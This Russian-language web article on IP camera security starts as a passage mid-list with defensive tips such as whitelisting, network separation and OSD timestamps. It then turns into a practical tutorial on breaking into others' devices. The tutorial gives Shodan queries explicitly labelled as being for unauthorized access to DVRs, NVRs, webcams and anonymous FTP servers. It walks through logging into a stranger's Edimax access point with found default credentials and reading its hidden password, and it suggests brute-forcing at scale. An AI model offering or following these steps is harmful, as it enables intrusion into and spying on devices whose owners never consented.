Данная функция присутствует во многих современных камерах, но, к сожалению, не все пользователи о ней знают. Если отключить эту опцию, то камера не будет запрашивать авторизацию при подключении к ней, что сделает ее уязвимой для взлома. Стоит отметить, что встречаются камеры с двойной авторизацией для http-доступа и для доступа по протоколу ONVIF. Также в некоторых камерах существует отдельная настройка для запроса авторизации при подключении по прямой RTSP-ссылке.

5. Фильтр IP-адреса

Если камера поддерживает функцию так называемого белого списка, то лучше ей не пренебрегать. С ее помощью определяется IP-адрес, с которого можно подключаться к камере. Это должен быть адрес сервера, к которому подключается камера и, если необходимо, второй IP-адрес рабочего места, с которого производится настройка. Но это не самый надежный метод, так как злоумышленник при подмене устройства может использовать тот же IP-адрес. Поэтому лучше всего использовать данную опцию вместе с остальными рекомендациями.

6. Защита сети

Необходимо правильно настраивать коммутирующее оборудование. Сейчас большинство коммутаторов поддерживают защиту от arp spoofing — обязательно используйте это.

7. Разделение сети

На данный пункт стоит обратить особое внимание, так как это играет большую роль в безопасности вашей системы. Разделение сети предприятия и сети видеонаблюдения обезопасит вас от злоумышленников или даже от собственных сотрудников, которые имеют доступ в общую сеть и хотят вас взломать.

8. Включение OSD-меню

Необходимо включать OSD-меню с текущим временем и датой на камере, чтобы всегда можно было проверить актуальность изображения. Это хороший способ защиты именно от замены видеоряда, так как OSD накладывается на все видео, идущее с определенной камеры. Даже когда злоумышленник запишет RTSP-поток, подмена будет заметна благодаря данным, которые все равно останутся на видеокадрах.

К сожалению, многие злоумышленники научились быстро отыскивать и пользоваться в своих интересах уязвимостями в системах IP-видеонаблюдения. Чтобы обезопасить сеть, обязательно нужно ознакомиться со способами защиты, описанными в данной статье. Уделите достаточное количество времени пусконаладке системы и в особенности корректной настройке всех ее компонентов. Так вы сможете обеспечить сети максимальную безопасность от взломов.

В заключение предлагаем вам поделиться в комментариях, как бы вы подошли к защите своей сети видеонаблюдения от взлома? Какие методы атак вы считаете наиболее опасными?

Немного теории, потом практика.... Практически все современные цифровые IP камеры видеонаблюдения построены на операционной системе linux, которая сильно урезана и имеет только самое необходимое для работы. Сама по себе операционная система linux бесплатная, очень надежная и устойчивая к внешним воздействиям и взломам, поэтому производитель и строит на ее базе видеорегистраторы, видеосервера, камеры видеонаблюдения, NAS и прочии умные гаджеты. Под "взломом камеры видеонаблюдения" будем понимать получение доступа под администратором.

Доступ может быть получен к:- графическому веб интерфейсу камеры. Получив такой доступ злоумышленник может просматривать видео, при наличии микрофона - слышать происходящее, а при наличии двухстороней аудиосвязи (микрофон и динамик) еще и вести диалог с жертвой. Так же становятся доступны все настройки, которыми обладает устройство.- операционной системе по SSH или иному другому протоколу. Получив доступ, вы получаете в распоряжение командную строку. Такая уязвимость использовалась при масштабных DDoS атаках хакерами со взломанных камер, а также использовались вычислительные мощности видеонаблюдения для майнинга криптовалют.

Рассмотрим слабые стороны подобных устройств.- Человеческий фактор. Устройство имеет стандартные настройки: стандартный логин и пароль. После установки оборудования нужно ОБЯЗАТЕЛЬНО его сменить.- Некомпетентность специалистов, которые занимались установкой и настройкой видеокамер. Нужно понимать как построена система, при использовании внешнего ip адреса требуется надежно защитить девайс, который смотрит во вне (интернет). Должное внимание уделить защите Wi-fi роутера, который используется практически везде где есть интернет.- Использование стандартных или слабых (менее 8 символов паролей). Для взлома как правило используются брутфорс атаки по словарю (метод перебора), который содержит все стандартные пароли: admin, 888888, 123456, 12345 и.т.д

Чтобы защитить владельцев производитель вводит дополнительные меры безопасности, например для Hikvision на всех новых устройствах требуется активация, которая заставляет владельца задать пароль, в соответствии с требованием к безопасности: ЗАГЛАВНЫЕ и строчные буквы, цифры и ограничивает минимальную длину.

Способов взлома много, рассмотрим один из самых простых, с помощью поисковой системы Шодан. Поисковик постоянно сканирует интернет и собирает базу по устройствам, которые откликнулись на его запросы: это регистраторы, камеры видеонаблюдения, роутеры, фаерволлы, то есть все сетевые девайсы, которые смотрят во всемирную сеть.

Попробуем получить доступ, к тем устройствам, которые имеют дефолтные (стандартные) пароли.

Скриншот сервиса Шодан  

Переходим к практике.

Взлом! Заходим на сайт: https://www.shodan.io Без регистрации мы будем ограничены количеством запросов. Поэтому лучше пройти несложную процедуру регистрации на сайте. Далее в строку поиска нам нужно ввести, то что мы хотим найти.

Примеры запросов для несанкционированного доступа, взлома:default password port:80 (где default password - устройства со стандартными паролями, port:80 - Служит для приема и передачи данных по HTTP, в нашем случае мы ищем все устройства с веб интерфейсом).port:80 nvr country:"it" (ищем устройства nvr - Network Video Recorder, то бишь видеорегистраторы; country:"it" - будет произведен поиск только по Италии).port:80 dvr country:"ru" (ищем устройства dvr - Digital Video Recorder (цифровые видеорегистраторы) по России).port:80 country:"ru" asus (ищем оборудование с вэб интерфейсом в России производителя ASUS, самая большая выдача скорее всего будет по роутерам этого производителя).230 Anonymous access granted (получим доступ к FTP серверам с возможностью анонимного доступа).Android Webcam (гаджеты на android, которые с помощью ПО используются как веб камеры).Server: SQ-WEBCAM (данный запрос выдаст перечень оборудования с серверами, на которых обнаружил веб-камеры).

Полный перечень команд можно найти на сайте поисковика Шодан.

И не забывайте - при взломе вся ответственность будет на вас!

В качестве примера по первому запросу: default password port:80 в базе поиска обнаружено 3278 результатов. По второй и третьей выдаче как видно из рис.1 мы видим, что login: admin, а пароль для доступа через веб интерфейс: 1234.

Веб интерфейс устройства Edimax

Переходим по ссылке. Попадаем на страницу авторизации. Заходим используя полученные данные и вуаля, мы попадаем на чужую точку доступа Edimax. У нас админские права и мы можем сделать абсолютно все: поменять язык, заменить пароль, перенастроить оборудование или убрав галочку "Скрыть" подглядеть чужой пароль.

Таким же способом можно взломать и получить доступ к чужим камерам видеонаблюдения, Сетевым накопителям (NAS), принтерам, вэб камерам и любому другому сетевому оборудованию.

А теперь представьте, к чему это может привести, если злоумышленник - профессионал своего дела. Все полученные результаты с помощью ботов можно занести в свою базу и уже далее с помощью ПО начать перебор по словарю. Поверьте результат успешных атак будет в десятки раз выше!

Чтобы этого не произошло с вами, и вашу систему видеонаблюдения не взломали - начните разбираться в данном вопросе, отнеситесь ответственно и обеспечьте должную безопасность всего вашего сетевого оборудования!

Автор: Дмитрий Самохвалов,технический редактор компании Rucam-Video.

Вопросы, замечания и предложения пишите на: [email protected]

Добавить комментарий